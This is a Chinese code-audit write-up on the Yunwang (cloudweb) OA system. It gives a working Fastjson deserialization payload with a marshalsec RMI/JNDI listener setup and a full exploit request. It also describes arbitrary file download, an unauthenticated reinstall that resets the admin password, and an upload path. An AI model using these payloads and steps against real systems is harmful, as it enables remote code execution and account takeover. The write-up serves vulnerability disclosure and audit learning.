FastJson Rce
项目中使用到的是fastjson1.2.37版本。
漏洞点在: 这里使用到了ParseObject方法。
com.cloudweb.oa.controller.updateUiSetup
使用marshalsec-0.0.3-SNAPSHOT-all.jar开启RMI监听。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389
开一个python web服务。
python -m http.server 8000
payload如下:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}
请求包如下:
POST /oa//setup/updateUiSetup HTTP/1.1
Host: 192.168.0.7:8096
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skincode=lte; name=admin; pwd=; JSESSIONID=85F37A117572BE90EA4BA0ED10F77EF5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
uiSetup={"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit", "autoCommit":true}}
可以看到接收到了uiSetup参数:
最终反序列化执行:
任意文件下载
功能点在模板列表这里,这里有一个下载文件的功能。
点击下载抓包:
可以看到这里需要传递进去一个fileName的参数。
定位到功能点如下:
com.cloudweb.oa.controller.ReportController
来到download方法。这里会发现它拼接的是你mysql的路径,所以我们将11.txt文件放到它的上级目录进行下载。
这里的路径是你在setup安装的时候那个路径。
可以看到成功下载:
未授权+覆盖管理员密码
首先我们查看Spring Security的配置文件发现,setup路劲是直接放开权限的。
那么我们是不是可以给他重装呢?
访问到setup目录,这里需要设置你服务器mysql的ip以及账号和密码。
需要注意的是mysql默认不允许外网去访问的,所以需要去设置一下mysql这个库。
update user set host= '%' where user='root'
然后将数据库导入进来即可。
source C:UsersAdminredmoonoa.sql
现在我们就可以开始重装了,这里的没有改之前密码是123456,然后重装之后密码就变成111111了。
成功登录。
鸡肋的任意文件上传
我们在setup的时候会发现可以设置上传文件的路径,经过测试发现我们可以设置一个网站跟目录然后进行访问。
这里我们将文件目录设置为:
C:UsersAdminDownloadsyimioa-oa_git8.0outembedweixinmessage
点击设置进行保存。
然后选择系统里面有一个上传的配置,我们全部置空表示任何类型都可以上传。
然后我们选择微信配置。
这里有一个应用主页,将后面的路径复制出来。
拼接到跟路径然后选择应用。
选择代办流程,然后随便选择一个流程项目。
这里点击上传即可。
上传文件之后的路径就是我们前面重装的时候设置的,他会生成一个FileUploadTmp目录。
可以看到文件名是通过时间戳 + 随机值来生成的。
前面10位就是时间戳后面是随机值。
尝试访问:
文件名我们无法控制所以有点鸡肋。
原文始发于微信公众号(Relay学安全):云网OA代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论